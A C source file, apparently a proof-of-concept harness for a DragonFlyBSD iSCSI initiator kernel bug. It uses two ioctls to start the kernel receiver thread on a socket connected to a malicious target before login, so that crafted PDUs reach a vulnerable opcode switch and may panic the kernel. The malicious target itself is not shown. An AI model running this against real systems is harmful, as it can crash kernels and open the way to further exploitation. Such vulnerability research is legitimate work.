DF-2460 / idrv.c
/* * idrv.c - Minimal iSCSI initiator driver for the DragonFlyBSD iscsi_initiator kld. * * Performs just enough to start the kernel receiver thread on a socket that is * connected to a (malicious) target, WITHOUT doing iSCSI login: * 1. open("/dev/iscsi") * 2. ISCSISETSES -> kernel creates /dev/iscsiN, writes session id N * 3. open("/dev/iscsiN") * 4. socket() + connect() to <targetIP>:<port> * 5. ISCSISETSOC -> kernel calls isc_start_receiver(): the receiver thread * now reads any PDU the target sends and dispatches it * through ism_recv() (the vulnerable opcode switch), * EVEN THOUGH LOGIN HAS NOT HAPPENED. * * Build: cc -o idrv idrv.c * Run: ./idrv 127.0.0.1 3260 * * ioctl numbers are taken from <dev/disk/iscsi/initiator/iscsi.h>: * ISCSISETSES _IOR('i', 1, int) arg: int* (session id out) * ISCSISETSOC _IOW('i', 2, int) arg: int* (socket fd in) */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/ioccom.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #define ISCSISETSES _IOR('i', 1, int) #define ISCSISETSOC _IOW('i', 2, int) int main(int argc, char **argv) { const char *ip = argc > 1 ? argv[1] : "127.0.0.1"; int port = argc > 2 ? atoi(argv[2]) : 3260; int fd = open("/dev/iscsi", O_RDWR); if (fd < 0) { perror("open /dev/iscsi"); return 2; } int n = -1; if (ioctl(fd, ISCSISETSES, &n) < 0) { perror("ISCSISETSES"); return 3; } printf("idrv: session id=%d\n", n); fflush(stdout); close(fd); char dev[32]; snprintf(dev, sizeof(dev), "/dev/iscsi%d", n); int nfd = open(dev, O_RDWR); if (nfd < 0) { perror(dev); return 4; } printf("idrv: opened %s\n", dev); fflush(stdout); int soc = socket(AF_INET, SOCK_STREAM, 0); if (soc < 0) { perror("socket"); return 5; } struct sockaddr_in sa; memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_port = htons(port); if (inet_pton(AF_INET, ip, &sa.sin_addr) != 1) { fprintf(stderr,"bad ip\n"); return 6; } printf("idrv: connecting to %s:%d...\n", ip, port); fflush(stdout); if (connect(soc, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("connect"); return 7; } printf("idrv: connected, passing socket to kernel (ISCSISETSOC)\n"); fflush(stdout); if (ioctl(nfd, ISCSISETSOC, &soc) < 0) { perror("ISCSISETSOC"); return 8; } printf("idrv: ISCSISETSOC done -- kernel receiver is now running\n"); fflush(stdout); /* Give the kernel receiver thread time to read & dispatch the malicious PDU the target injected. If it panics, ssh dies here. */ sleep(6); printf("idrv: still alive after 6s (no panic)\n"); fflush(stdout); close(nfd); return 0; } |